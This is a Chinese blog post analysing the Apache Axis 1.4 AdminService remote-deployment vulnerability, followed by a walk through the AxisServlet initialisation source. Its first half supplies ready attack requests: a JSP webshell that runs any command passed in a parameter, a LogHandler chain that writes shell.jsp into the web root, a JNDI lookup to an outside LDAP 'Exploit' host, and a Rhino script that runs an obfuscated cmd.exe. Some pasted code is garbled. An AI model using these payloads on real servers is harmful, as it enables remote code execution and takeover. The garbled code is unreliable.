Java安全之Axis漏洞分析

0x01 漏洞复现#
漏洞版本:axis=<1.4

Axis1.4

freemarker

下载Axis包1.4版本将Axis放到tomcat的webapp目录中。freemarker.jar放到Axis的 lib目录下。运行tomcat即可。

WEB-INF/web.xml 中将该配置取消注释

AdminServlet /servlet/AdminServlet 原创复现需要将/WEB-INF下面的server-config.wsdd文件中的内容进行编辑一下 http://xml.apache.org/axis/wsdd/ enableRemoteAdmin的值改成true运行远程调用。

server-config.wsdd文件会在远程机器访问/servlet/AdminServlet路由时候进行创建。

接下来对该接口进行发送payload测试

<?xml version="1.0" encoding="utf-8"?>

<soapenv:Envelope xmlns:xsi=“http://www.w3.org/2001/XMLSchema-instance”
xmlns:api=“http://127.0.0.1/Integrics/Enswitch/API”
xmlns:xsd=“http://www.w3.org/2001/XMLSchema”
xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/”>
soapenv:Body
<ns1:deployment
xmlns=“http://xml.apache.org/axis/wsdd/”
xmlns:java=“http://xml.apache.org/axis/wsdd/providers/java”
xmlns:ns1=“http://xml.apache.org/axis/wsdd/”>
<ns1:service name=“RandomService” provider=“java:RPC”>



<ns1:parameter name=“className” value=“java.util.Random”/>
<ns1:parameter name=“allowedMethods” value="*"/>
</ns1:service>




</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>

爆了一个ns1:Client.NoSOAPAction错误。

看了一下AdminServlet的代码,发现dopost方法里面调用的getSoapAction这个判断逻辑貌似有点问题

上面req.getHeader(“SOAPAction”);获取header里面SOAPAction的值,如果为空则取Content-Type里面的action。都为空则直接返回,来到下面这段逻辑。

if (soapAction == null) {
  AxisFault af = new AxisFault("Client.NoSOAPAction", Messages.getMessage("noHeader00", "SOAPAction"), null, null);
  exceptionLog.error(Messages.getMessage("genFault00"), (Throwable)af);
  throw af;
} 

这里只需要header加入SOAPAction参数,填充任意值,让服务端获取到不为空,能解决了这个问题。

使用上面payload,创建好恶意的service后,下面来调用一下恶意的service。

/axis/services/RandomService
payload:

<?xml version="1.0" encoding="utf-8"?>
    <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
    <api:main
    soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <api:in0><![CDATA[

<%@page import=“java.util.,java.io.”%><% if (request.getParameter(“c”) != null) { Process p = Runtime.getRuntime().exec(request.getParameter(“c”)); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>
]]>
</api:in0>
</api:main>
</soapenv:Body>
</soapenv:Envelope>

文件写入成功

重新打开server-config.wsdd文件发现内容已经发生了变化

payload整理#
org.apache.axis.handlers.LogHandler#
POST请求:

POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: “”
Content-Length: 777

<soap:Envelope xmlns:soap=“http://schemas.xmlsoap.org/soap/envelope/” >
soap:Body












</soap:Body>
</soap:Envelope>
GET请求:

GET /axis/services/AdminService?method=!–%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22randomBBB%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22…%2Fwebapps%2FROOT%2Fshell.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
调用service:

POST /axis/services/randomBBB HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: “”
Content-Length: 700

<soapenv:Envelope xmlns:xsi=“http://www.w3.org/2001/XMLSchema-instance” xmlns:xsd=“http://www.w3.org/2001/XMLSchema” xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/” xmlns:util=“http://util.java”>
soapenv:Header/
soapenv:Body
<util:ints soapenv:encodingStyle=“http://schemas.xmlsoap.org/soap/encoding/”>
<![CDATA[ <% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); %> ]]>
?
</util:ints>
</soapenv:Body>
</soapenv:Envelope>
该方式写文件需要解析,遇到Springboot就凉凉。

org.apache.axis.client.ServiceFactory#
POST请求:

POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept-Language: en-US,en;q=0.5
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Content-Length: 750

<?xml version="1.0" encoding="utf-8"?>

<soapenv:Envelope xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/” xmlns:xsi=“http://www.w3.org/2001/XMLSchema-instance” xmlns:api=“http://127.0.0.1/Integrics/Enswitch/API” xmlns:xsd=“http://www.w3.org/2001/XMLSchema”>
soapenv:Body
<ns1:deployment xmlns:ns1=“http://xml.apache.org/axis/wsdd/” xmlns=“http://xml.apache.org/axis/wsdd/” xmlns:java=“http://xml.apache.org/axis/wsdd/providers/java”>
<ns1:service name=“ServiceFactoryService” provider=“java:RPC”>
<ns1:parameter name=“className” value=“org.apache.axis.client.ServiceFactory”/>
<ns1:parameter name=“allowedMethods” value="*"/>
</ns1:service>
</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>
GET请求:

GET /axis/services/AdminService?method=!–%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22ServiceFactoryService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22org.apache.axis.client.ServiceFactory%22%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
调用service:

POST /axis/services/ServiceFactoryService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: “”
Content-Length: 891

<soapenv:Envelope xmlns:xsi=“http://www.w3.org/2001/XMLSchema-instance” xmlns:xsd=“http://www.w3.org/2001/XMLSchema” xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/” xmlns:cli=“http://client.axis.apache.org”>
soapenv:Header/
soapenv:Body
<cli:getService soapenv:encodingStyle=“http://schemas.xmlsoap.org/soap/encoding/”>



jndiName
ldap://xxx.xx.xx.xxx:8888/Exploit


</cli:getService>
</soapenv:Body>
</soapenv:Envelope>
这个点需要利用JNDI注入

com.sun.script.javascript.RhinoScriptEngine#
POST请求:

POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: “”
Content-Length: 905

<soap:Envelope xmlns:soap=“http://schemas.xmlsoap.org/soap/envelope/” >
soap:Body








</soap:Body>
</soap:Envelope>
GET请求:

GET /axis/services/AdminService?method=!–%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22RhinoScriptEngineService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22com.sun.script.javascript.RhinoScriptEngine%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22eval%22%20%2F%3E%3CtypeMapping%20deserializer%3D%22org.apache.axis.encoding.ser.BeanDeserializerFactory%22%20type%3D%22java%3Ajavax.script.SimpleScriptContext%22%20qname%3D%22ns%3ASimpleScriptContext%22%20serializer%3D%22org.apache.axis.encoding.ser.BeanSerializerFactory%22%20xmlns%3Ans%3D%22urn%3Abeanservice%22%20regenerateElement%3D%22false%22%3E%3C%2FtypeMapping%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
调用service:

POST /axis/services/RhinoScriptEngineService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: “”
Content-Length: 866

<?xml version='1.0' encoding='UTF-8'?> <![CDATA[function test(){ var cmd1 = 'c'; cmd1 += 'm'; cmd1 += 'd'; cmd1 += '.'; cmd1 += 'e'; cmd1 += 'x'; cmd1 += 'e'; var cmd2 = '/'; cmd2 += 'c'; var pb = new java.lang.ProcessBuilder(cmd1,cmd2,'whoami'); var process = pb.start(); var ret = new java.util.Scanner(process.getInputStream()).useDelimiter('\\A').next(); return ret;} test();]]>

</soapenv:Body></soapenv:Envelope>
该方式有JDK版本要求 JDK版本必须要为7或7以下版本。JDK7版本后ScriptEngine被废除了,使用了NashornScriptEngine进行代替,NashornScriptEngine类不能直接被利用

解析流程分析#
Init#

AxisServlet
Apache-Axis Servlet

org.apache.axis.transport.http.AxisServlet




AxisServlet
/services/*

看到org.apache.axis.transport.http.AxisServlet

public void init() throws ServletException {
super.init();
ServletContext context = this.getServletConfig().getServletContext();
isDebug = log.isDebugEnabled();
if (isDebug) {
log.debug(“In servlet init”);
}

    this.transportName = this.getOption(context, "transport.name", "http");
    if (JavaUtils.isTrueExplicitly(this.getOption(context, "use-servlet-security", (String)null))) {
        this.securityProvider = new ServletSecurityProvider();
    }

    this.enableList = JavaUtils.isTrueExplicitly(this.getOption(context, "axis.enableListQuery", (String)null));
    this.jwsClassDir = this.getOption(context, "axis.jws.servletClassDir", (String)null);
    this.disableServicesList = JavaUtils.isTrue(this.getOption(context, "axis.disableServiceList", "false"));
    this.servicesPath = this.getOption(context, "axis.servicesPath", "/services/");
    if (this.jwsClassDir != null) {
        if (this.getHomeDir() != null) {
            this.jwsClassDir = this.getHomeDir() + this.jwsClassDir;
        }
    } else {
        this.jwsClassDir = this.getDefaultJWSClassDir();
    }

//初始化查询Handler,即wsdl对应的handler,用于wsdl文件生成
this.initQueryStringHandlers();

    try {
        ServiceAdmin.setEngine(this.getEngine(), context.getServerInfo());
    } catch (AxisFault var3) {
        exceptionLog.info("Exception setting AxisEngine on ServiceAdmin " + var3);
    }

}

把所有以jws结尾或者services路径的的URL均由AxisServlet进行处理

super.init();

org.apache.axis.transport.http.init

public void init() throws ServletException {
ServletContext context = this.getServletConfig().getServletContext();
this.webInfPath = context.getRealPath("/WEB-INF");
this.homeDir = context.getRealPath("/");
isDebug = log.isDebugEnabled();
if (log.isDebugEnabled()) {
log.debug(“In AxisServletBase init”);
}

    this.isDevelopment = JavaUtils.isTrueExplicitly(this.getOption(context, "axis.development.system", (String)null));
}

org.apache.axis.transport.http.getOption

protected String getOption(ServletContext context, String param, String dephault) {
String value = AxisProperties.getProperty(param);
if (value == null) {
value = this.getInitParameter(param);
}

    if (value == null) {
        value = context.getInitParameter(param);
    }

    try {
        AxisServer engine = getEngine(this);
        if (value == null && engine != null) {
            value = (String)engine.getOption(param);
        }
    } catch (AxisFault var6) {
    }

    return value != null ? value : dephault;
}

org.apache.axis.transport.http.getEngine

public static AxisServer getEngine(HttpServlet servlet) throws AxisFault {
AxisServer engine = null;
if (isDebug) {
log.debug(“Enter: getEngine()”);
}

    ServletContext context = servlet.getServletContext();
    synchronized(context) {
        engine = retrieveEngine(servlet);
        if (engine == null) {
            Map environment = getEngineEnvironment(servlet);
            engine = AxisServer.getServer(environment);
            engine.setName(servlet.getServletName());
            storeEngine(servlet, engine);
        }
    }

    if (isDebug) {
        log.debug("Exit: getEngine()");
    }

    return engine;
}

org.apache.axis.transport.http.getEngineEnvironment

从当前上下文中获取AxisServer Engine,如果返回为null,则进行初始化并存储至上下文中

protected static Map getEngineEnvironment(HttpServlet servlet) {
Map environment = new HashMap();
String attdir = servlet.getInitParameter(“axis.attachments.Directory”);
if (attdir != null) {
environment.put(“axis.attachments.Directory”, attdir);
}

    ServletContext context = servlet.getServletContext();
    environment.put("servletContext", context);
    String webInfPath = context.getRealPath("/WEB-INF");
    if (webInfPath != null) {
        environment.put("servlet.realpath", webInfPath + File.separator + "attachments");
    }

    EngineConfiguration config = EngineConfigurationFactoryFinder.newFactory(servlet).getServerEngineConfig();
    if (config != null) {
        environment.put("engineConfig", config);
    }

    return environment;
}

这里返回的是一个org.apache.axis.configuration.EngineConfigurationFactoryServlet工厂实例

调用getServerEngineConfig来到org.apache.axis.configuration.getServerEngineConfig,

EngineConfigurationFactoryFinder.newFactory(servlet)返回org.apache.axis.configuration.EngineConfigurationFactoryServlet工厂实例,并通过private static EngineConfiguration getServerEngineConfig(ServletConfig cfg)新建EngineConfiguration实现类:FileProvider对象(即server-config.wsdd的文件操作类)

代码流程回到getEngineEnvironment

protected static Map getEngineEnvironment(HttpServlet servlet) {
Map environment = new HashMap();
String attdir = servlet.getInitParameter(“axis.attachments.Directory”);
if (attdir != null) {
environment.put(“axis.attachments.Directory”, attdir);
}

ServletContext context = servlet.getServletContext();
environment.put("servletContext", context);
String webInfPath = context.getRealPath("/WEB-INF");
if (webInfPath != null) {
    environment.put("servlet.realpath", webInfPath + File.separator + "attachments");
}

EngineConfiguration config = EngineConfigurationFactoryFinder.newFactory(servlet).getServerEngineConfig();
if (config != null) {
    environment.put("engineConfig", config);
}

return environment;

}
environment.put(“engineConfig”, config);

把刚刚读取server-config.wsdd的对象,存储到map中进行返回。

逻辑走到org.apache.axis.transport.http.getEngine

public static AxisServer getEngine(HttpServlet servlet) throws AxisFault {
AxisServer engine = null;
if (isDebug) {
log.debug(“Enter: getEngine()”);
}

ServletContext context = servlet.getServletContext();
synchronized(context) {
    engine = retrieveEngine(servlet);
    if (engine == null) {
        Map environment = getEngineEnvironment(servlet);
        engine = AxisServer.getServer(environment);
        engine.setName(servlet.getServletName());
        storeEngine(servlet, engine);
    }
}

org.apache.axis.server.AxisServer

public static AxisServer AxisServer(Map environment) throws AxisFault {
if (factory == null) {
String factoryClassName = AxisProperties.getProperty(“axis.ServerFactory”);
if (factoryClassName != null) {
try {
Class factoryClass = ClassUtils.forName(factoryClassName);
if ((class o r g org orgapache a x i s axis axisserver A x i s S e r v e r F a c t o r y = = n u l l ? ( c l a s s AxisServerFactory == null ? (class AxisServerFactory==null?(classorg a p a c h e apache apacheaxis s e r v e r server serverAxisServerFactory = class ( " o r g . a p a c h e . a x i s . s e r v e r . A x i s S e r v e r F a c t o r y " ) ) : c l a s s ("org.apache.axis.server.AxisServerFactory")) : class ("org.apache.axis.server.AxisServerFactory")):classorg a p a c h e apache apacheaxis s e r v e r server serverAxisServerFactory).isAssignableFrom(factoryClass)) {
factory = (AxisServerFactory)factoryClass.newInstance();
}
} catch (Exception var3) {
log.error(Messages.getMessage(“exception00”), var3);
}
}

        if (factory == null) {
            factory = new DefaultAxisServerFactory();
        }
    }

    return factory.getServer(environment);
}

加载到重载getServer方法

public AxisServer getServer(Map environment) throws AxisFault {
log.debug(“Enter: DefaultAxisServerFactory::getServer”);
AxisServer ret = createServer(environment);
if (ret != null) {
if (environment != null) {
ret.setOptionDefault(“attachments.Directory”, (String)environment.get(“axis.attachments.Directory”));
ret.setOptionDefault(“attachments.Directory”, (String)environment.get(“servlet.realpath”));
}

        String attachmentsdir = (String)ret.getOption("attachments.Directory");
        if (attachmentsdir != null) {
            File attdirFile = new File(attachmentsdir);
            if (!attdirFile.isDirectory()) {
                attdirFile.mkdirs();
            }
        }
    }

    log.debug("Exit: DefaultAxisServerFactory::getServer");
    return ret;
}

private static AxisServer createServer(Map environment) {
EngineConfiguration config = getEngineConfiguration(environment);
return config == null ? new AxisServer() : new AxisServer(config);
}
public AxisServer(EngineConfiguration config) {
super(config);
this.running = true;
this.setShouldSaveConfig(true);
}
org.apache.axis.AxisEngine

public AxisEngine(EngineConfiguration config) {
this.config = config;
this.init();
}
org.apache.axis.AxisEngine

public void init() {
if (log.isDebugEnabled()) {
log.debug(“Enter: AxisEngine::init”);
}

try {
    this.config.configureEngine(this);
} catch (Exception var2) {
    throw new InternalException(var2);
}

org.apache.axis.configuration.FileProvider

public void configureEngine(AxisEngine engine) throws ConfigurationException {
try {
if (this.getInputStream() == null) {
try {
this.setInputStream(new FileInputStream(this.configFile));
} catch (Exception var3) {
if (this.searchClasspath) {
this.setInputStream(ClassUtils.getResourceAsStream(engine.getClass(), this.filename, true));
}
}
}

        if (this.getInputStream() == null) {
            throw new ConfigurationException(Messages.getMessage("noConfigFile"));
        } else {
            WSDDDocument doc = new WSDDDocument(XMLUtils.newDocument(this.getInputStream()));
            //部署或者取消部署,这个得看文档配置
            this.deployment = doc.getDeployment();
            //定义所有数据配置此AxisEngine
            this.deployment.configureEngine(engine);
            //刷新内容
            engine.refreshGlobalOptions();
            this.setInputStream((InputStream)null);
        }
    } catch (Exception var4) {
        throw new ConfigurationException(var4);
    }
}

以上这整体解析流程为configureEngine解析server-config.wsdd服务配置。将配置文件中的各种属性handler、globalConfiguration、service、transport缓存至WSDDDeployment类中。刷新global配置选项即将server-config.wsdd配置文件中globalConfiguration节点中的parameter属性集合由AxisEngine持有。

以上就已经完成了init的

doGet#
看到doGet

public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
if (isDebug) {
log.debug(“Enter: doGet()”);
}

FilterPrintWriter writer = new FilterPrintWriter(response);

try {
    AxisEngine engine = this.getEngine();
    ServletContext servletContext = this.getServletConfig().getServletContext();
    String pathInfo = request.getPathInfo();
    String realpath = servletContext.getRealPath(request.getServletPath());
    if (realpath == null) {
        realpath = request.getServletPath();
    }

    boolean isJWSPage = request.getRequestURI().endsWith(".jws");
    if (isJWSPage) {
        pathInfo = request.getServletPath();
    }

    if (this.processQuery(request, response, writer)) {
        return;
    }
    亚马逊测评 www.yisuping.cn
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值